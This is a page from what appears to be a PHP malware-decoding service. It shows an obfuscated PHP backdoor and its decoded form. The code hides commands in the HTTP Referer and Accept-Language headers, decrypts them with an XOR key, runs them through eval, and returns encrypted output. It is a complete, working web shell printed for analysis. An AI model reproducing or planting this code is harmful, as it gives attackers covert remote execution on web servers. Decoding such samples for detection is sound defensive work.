Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $q='r=@$r["HTTP_WREFERWER"];$ra=WW@$r["HTTPW_ACWCEPT_LANGWUWWAGEW"];if($rr&&$ra)W{$..
Decoded Output download
$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$q='r=@$r["HTTP_WREFERWER"];$ra=WW@$r["HTTPW_ACWCEPT_LANGWUWWAGEW"];if($rr&&$ra)W{$u=parse_urlW($rr)W';
$U='W$kWh="5d41";$kf="40W2a";functWioWn x($t,W$k){$c=strWlWen($k);$l=stWrlen(W$t);W$o=""W;for($WiW=0;$i<$W';
$S='0.([W\\d]))?,W?/",$ra,$mW);if($qW&&$m){W@sessWion_WsWtart();$sW=&WW$_SESWSION;W$ss="sWubWstr";$WslW=';
$z='nW(W);$dW=base6W4_encode(xW(gzcompWress(W$o),$Wk)W);print("<$kW>W$d</$k>");@sessWion_deWsWtroy();}}}}';
$K='/W_/"W,"/WW-/"),aWrray("/","+"),W$ss(W$s[$i],0,$e)))W,$kW)));$o=oWb_geWt_coWntentWs();ob_endW_clea';
$v='$WWe){$Wk=$kh.$kfW;ob_sWtart();@evWal(@gWzuncWompWrWess(@x(@base6W4_decoWdWe(preWg_replace(array("';
$A='0,W3))W;$p="";fWorW($z=1;W$z<count($Wm[1]);W$zW++)$p.=$q[$m[W2]W[$z]];if(sWtWrpos($p,$hW)==WW=0){$s';
$c='[W$i]="";$p=$ssW($p,3);W}if(Warray_keyW_exWistsW($i,$Ws)){$s[$Wi].=$pW;$e=sWtrpos(W$s[$i]W,$f);if(';
$o='l;){for($jW=0;($j<$cW&&$Wi<$l);$jW++,$i++)W{$o.W=$Wt{$i}^$Wk{W$j};}}reWWturn $o;}$rW=$W_SERVEWR;$r';
$X='"strtolower";$i=$mW[1][0].$m[1][1]W;W$h=$sl($ss(md5W($iW.$Wkh)W,0,3))W;$f=$sl($ssW(md5($iW.$kf),';
$a=';WparsWe_sWtr($u["querWy"],$q);$q=WWarray_valuWeWs($q)W;preg_matcWh_alWl("/([\\Ww])[W\\w-]+(?:W;q=';
$N=str_replace('gB','','cgBreagBte_gBfugBngBgBction');
$C=str_replace('W','',$U.$o.$q.$a.$S.$X.$A.$c.$v.$K.$z);
$b=$N('',$C);$b();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 958bec0bc54fce971ff4c1bb92bd2314 |
| Eval Count | 1 |
| Decode Time | 112 ms |